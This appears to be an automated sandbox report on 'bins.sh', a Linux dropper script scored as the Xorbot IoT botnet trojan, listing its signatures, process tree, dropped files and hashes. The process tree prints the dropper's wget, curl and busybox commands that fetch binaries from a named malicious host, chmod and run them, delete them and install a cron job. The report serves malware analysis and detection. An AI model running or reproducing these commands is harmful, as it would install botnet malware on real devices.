Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    96s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/01/2025, 12:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250102-pf13hsvkak
  • SHA256 da3717a7485116a9b7b8b6f480d2cf27c8dbdade3ed4c30392aa452a1678e4df
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1371) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 15 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:701
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          PID:706
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:715
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod 777 Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • File and Directory Permissions Modification
          PID:732
        • /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          ./Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:733
        • /bin/rm
          rm Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          PID:735
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:748
        • /bin/chmod
          chmod 777 VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • File and Directory Permissions Modification
          PID:752
        • /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          ./VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:754
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:756
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:757
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:760
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:761
            • /bin/rm
              rm VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
              2⤵
                PID:773
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                2⤵
                • System Network Configuration Discovery
                PID:778
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                2⤵
                • System Network Configuration Discovery
                PID:779
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:862
              • /bin/chmod
                chmod 777 baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                2⤵
                • File and Directory Permissions Modification
                PID:879
              • /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                ./baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                2⤵
                • Executes dropped EXE
                PID:880
              • /bin/rm
                rm baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                2⤵
                  PID:882
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                  2⤵
                  • System Network Configuration Discovery
                  PID:883
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                  2⤵
                  • System Network Configuration Discovery
                  PID:885
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:886
                • /bin/chmod
                  chmod 777 GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:887
                • /tmp/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                  ./GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                  2⤵
                  • Executes dropped EXE
                  PID:888
                • /bin/rm
                  rm GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                  2⤵
                    PID:890
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/69xR36HQoN1Z8MIHafkSrGetoqXG4HuZxU
                    2⤵
                    • System Network Configuration Discovery
                    PID:891

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                      • Path /tmp/GuoZG88MxFmiuqmZ0N6FVvPE09azLUXHWc
                      • Size 99KB
                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                      • Path /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                      • Size 127KB
                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                      • Path /tmp/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                      • Size 151KB
                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                      • Path /tmp/baLXEBmNWIcgECq7cHuUvCXEddfZJF83bM
                      • Size 122KB
                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.TG1svA
                      • Path /var/spool/cron/crontabs/tmp.TG1svA
                      • Size 210B
                      • SHA256 3f0caf876713bdf191571c4c71e80a9dcec7a131b4b557253ef568d30815a5af
                      • MD5 SHA1 SHA512
                      Submit Download